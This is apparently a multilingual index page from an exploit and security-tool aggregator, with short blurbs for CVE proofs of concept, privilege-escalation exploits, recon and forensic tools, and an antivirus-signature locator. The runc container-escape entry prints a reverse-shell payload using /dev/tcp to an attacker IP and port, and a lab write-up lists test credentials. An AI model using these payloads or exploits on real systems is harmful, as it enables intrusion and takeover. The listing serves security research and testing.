CVE-2024-42327

CVE-2024-42327 zabbix脆弱性のwriteup 対象: 10.129.231.176 情報: 対象はzabbixサーバーであることが分かっている。zabbixにログインするための標準ユーザーアカウントを受け取った: ユーザー matthew、パスワード 96qzn0h2e1k3。このアカウントは標準ユーザーであり、追加のグループや権限はない。 いつものように、列挙から開始する。nmapを使ってポートスキャンを行う。...

iLEAPP

iOS 로그, 이벤트 및 Plist 파서 iLEAPP는 iOS 및 iPadOS 포렌식 추출물을 파싱하여 HTML, TSV, 타임라인, KML 및 LAVA 출력을 생성합니다. iOS/iPadOS 11부터 현재 버전까지 지원합니다. 전체 검색 가능한 아티팩트 목록은 leapps.org/artifacts에서 확인하세요LEAPP 도구로 필터링. 빠른 시작권장 사전 빌드된 릴리스를 다운로드하세요 — Python 설치가 필요 없습니다. LEAPPs Releases — 모든 LEAPP 계열 도구 둘러보기 iLEAPP GitHub...

CVE-2022-23779

CVE-2022-23779: 내부 호스트명 노출 취약점 정보 설명: Zoho ManageEngine Desktop Central 10.1.2137.8 이전 버전은 설치된 서버 이름을 누구에게나 노출합니다. 내부 호스트명은 HTTP 리디렉션 응답을 읽어서 발견할 수 있습니다. 영향받는 버전: 10.1.2137.7 연구자: Matthew Zellner @fbusr 공개 링크: https://www.manageengine.com/products/desktop-central/cve-2022-23779.html NIST CVE 링크:...

CVE-2025-6018-6019

CVE-2025-6018 CVE-2025-6019 PoC 익스플로잇 로컬 권한 상승 LPE - openSUSE / SUSE Linux Enterprise 15 CVE-2025-6018 및 CVE-2025-6019에 대한 동작하는 PoC/익스플로잇 - openSUSE Leap 15.x 및 SUSE Linux Enterprise 15.x에서 비특권 사용자에서 root로의 권한 상승 🎯 빠른 요약 CVE ID| 취약점| 영향 ---|---|--- CVE-2025-6018| PAM 환경 변수 주입| allowactive polkit...

cve-2019-5736-poc

추가해야 할 헤더 stage2.c bash include bash include 공격자 PC의 IP로 수정 stage2.c bash const char poc = "!/bin/bash\n/bin/bash -i & /dev/tcp//4455 0&1 &\n"; Docker Image 및 컨테이너 생성 root@kitploit: $ docker build -t cve . $ docker run -t -d --name cvetest cve $ sudo cp /usr/bin/docker-runc /usr/bin/docker-runc.b...

diario-commandline-tools

diario-commandline-client これは何ですか？ 前提条件 インストール プロジェクトのセットアップ 使用方法 これは何ですか？ 一括 diario API 消費を容易にするために作成されたユーティリティリポジトリです。現在、以下の機能が完全に実装されています。 ファイル（PDF または Microsoft Office ドキュメント）のアップロード ファイルの完全なディレクトリのアップロード 単一ハッシュのクエリ ハッシュのリストのクエリ（単一ファイルから） DIARIO アカウントを取得するには [email protected] にメールを送信してくだ...

CVE-2026-66066-POC

CVE-2026-66066 PoC - 최소 Rails/libvips 실습 환경 이 저장소는 GHSA-xr9x-r78c-5hrm에 설명된 Rails Active Storage 파일 읽기-to-RCE 체인을 Rails 8.1.3영향을 받는 최신 Rails 8.1 릴리스에서 재현합니다. Rails 8.1.3.1은 패치된 대조군입니다. 여기에 설명된 일회용 로컬 실습 환경에서만 사용하십시오. HTTP 드라이버는 루프백이 아닌 대상을 거부합니다다른 대상에 대한 승인된 테스트를 위해 Python 코드를 수정하는 것은 간단하지만. 엄격한...

claude-bug-bounty

BugHunter AI 기반 버그 바운티 헌팅 — 정찰부터 보고서까지, 터미널에서. 무료 설정 · 빠른 시작 · 명령어 · 탐지 기능 · 설치 · FAQ 제공:AwareXone.com — 사기와 부정 행위에 맞서는 AI 에이전트 💜 스폰서 모집 BugHunter는 스폰서를 모집합니다. 여러분의 지원은 새 기능 개발 자금이 되며, 무료 독립 실행 모드가 계속 운영되도록 돕습니다. 스폰서는 이 README에 로고와 링크를 게재하고, 모든 릴리스에서 크레딧을 받게 됩니다. 스폰서가 되고 싶으신가요? AwareXone.com으로...

pritunl

pritunl: 엔터프라이즈 VPN 서버 Pritunl은 OpenVPN 프로토콜로 구축된 분산형 엔터프라이즈 VPN 서버입니다. 문서 및 추가 정보는 홈페이지 pritunl.com에서 확인할 수 있습니다. 소스에서 설치 root@kitploit: Install MongoDB if running single host configuration sudo tee /etc/yum.repos.d/mongodb-org.repo EOF mongodb-org name=MongoDB Repository...

CVE-2017-10617

CVE-2017-10616 & CVE-2017-10617 이 두 취약점은 Juniper Contrail 버전 2.2, 3.0, 3.1 및 3.2에 영향을 미칩니다: 하드코딩된 자격 증명 CVE-2017-10616 XML 외부 엔티티 CVE-2017-10617 공급업체 보안 게시판은 Juniper Security Alert JSA10819 2017-10에서 확인할 수 있습니다. Contrail 제품에서 취약한 서비스는 irond에서 패키징된 IFMAP 데몬입니다. 간단히 하기 위해 irond를 계속 사용하여 XXE 취약점을 악용...

puredns

Быстрый резолвер доменов и инструмент для брутфорса поддоменов с точной фильтрацией wildcard-записей Начало работы » Использование · Как это работает · Спонсорство · ЧаВО О программе puredns — это быстрый резолвер доменов и инструмент для брутфорса поддоменов, который может точно отфильтровывать...

CVE-2022-44877-white-box

문서 : https://docs.google.com/document/d/1rQ7e9i2AFzHbASfRu3nkgjIswbrS2AB2i7V9OK3dJLs/edit?usp=sharing Libprochider : https://github.com/gianlucaborello/libprocesshider /var/www/html YouTube 데모 : https://www.youtube.com/watch?v=V0HgzE8IElA&t=343s 테스트한 머신 박스 CentOS 7 - CentOS Web Panel 9.8.1146 Kal...

CVE-2026-33017

CVE-2026-33017 Langflow RCE ★ CVE-2026-33017 Langflow 원격 코드 실행 PoC ★ https://github.com/user-attachments/assets/562fc637-6be1-4ab9-a396-bfad56447af7 환경 구축 다음 명령어를 사용하여 취약한 Langflow 환경을 빌드하고 실행합니다: root@kitploit: docker build -t cve-2026-33017-langflow-vuln . docker run --rm -it -p 7860:7860 --nam...

CVE-2026-43499-aristotle

CVE-2026-43499 — aristotle au/KDDI Xiaomi XIG04 Android 12를 실행하는 au/KDDI Xiaomi "aristotle" XIG04용 로컬 권한 상승tmp-root으로, CVE-2026-43499 를 이용합니다. 기기 소유자 루팅 프리미티브device-owner rooting primitive로서, 예를 들어 개발자 옵션에 접근할 수 없을 때 ADB를 다시 활성화하기 위해 자신의 휴대폰을 루팅합니다. 이 프로젝트는 업스트림 구현체의 aristotle 포트 입니다:...

ghostlock-aresin

GhostLock CVE-2026-43499 — POCO F3 GT aresin MediaTek Dimensity 1200 MT6893용 데이터 전용 physmap 덮어쓰기 익스플로잇. 커널: 4.14.186-android13 / MIUI V14.0.4.0.TKJCNXM. ⚠️ 사전 조건 기기 : POCO F3 GT / Redmi K40 Gaming Edition codename: aresin 칩셋 : MediaTek Dimensity 1200 MT6893 시스템 : Android 13 / MIUI 14...

schrodingers-toctou

Schrödinger's TOCTOU "...'정상적인 컴파일러'의 정의는 점점 더 느슨해진다." 여러분이 실행하는 바이너리는 여러분이 작성한 프로그램이 아니다. 컴파일러 최적화기는 소스를 여러분이 결코 보지 못할 방식으로 다시 작성하며 — 그러한 변경 중 일부는 조용하고도 합법적으로 겉보기에는 안전한 코드를 취약한 바이너리로 바꿀 수 있다. 같은 코드 줄은 한 컴파일러에서는 안전하고 다른 컴파일러에서는 공격에 취약할 수 있으며, 소스에는 어느 쪽인지 알려 줄 것이 없다: 그 취약성은 중첩 상태에 있다가 빌드할 때에만 붕괴된다...

CVE-2024-32019-POC

CVE-2024-32019-POC Netdata ndsudo 로컬 권한 상승 워크플로우 및 POC CVE-2024-32019 워크플로우 자동 익스플로잇 리소스 워크플로우 !TIP 읽어주세요 Netdata는 앱 및 시스템 모니터링을 제공하는 도구로, 19999 포트에서 실행되며 쉽게 찾을 수 있습니다: root@kitploit: test@test:$ netstat -tuln Active Internet connections only servers Proto Recv-Q Send-Q Local Address Foreign...

ThreatCheck

ThreatCheck Модифицированная версия Matterpreter из DefenderCheck. Принимает бинарный файл из файла на диске или URL, разбивает его до тех пор, пока не определит точные байты, на которые срабатывает целевой антивирусный движок, и выводит их на экран. Это может быть полезно при попытке определить...

CVE-2022-0185

CVE-2022-0185 리눅스 커널 권한 상승이스케이프 toc 취약점 개요 취약점 번호: CVE-2022-0185 취약점 점수: 취약점 제품: linux kernel - fsconfig syscall 영향 범위: linux kernel 5.1-rc1 5.16.2 이용 조건: linux 로컬; CAPSYSADMIN cap 권한 보유unshare로 직접 획득 가능, 제한 없음 이용 효과: 로컬 권한 상승; 컨테이너 이스케이프 소스 코드 획득: git clone...

CVE-2018-16119

CVE-2018-16119: TP-Link WR1043ND 인증된 원격 코드 실행 취약점 개요 CVE-2018-16119는 TP-Link TL-WR1043ND 라우터에 영향을 주는 심각한 인증된 원격 코드 실행 취약점입니다. 이 취약점으로 인해 인증된 공격자는 대상 장치에서 루트 권한으로 임의의 명령을 실행할 수 있으며, 잠재적으로 시스템 전체를 완전히 장악할 수 있습니다. CVE 세부 정보: CVE-2018-16119 취약점 영향 공격 경로: 네트워크 공격 복잡도: 낮음 필요 권한: 낮음 인증 필요 사용자 상호작용: 없음 범...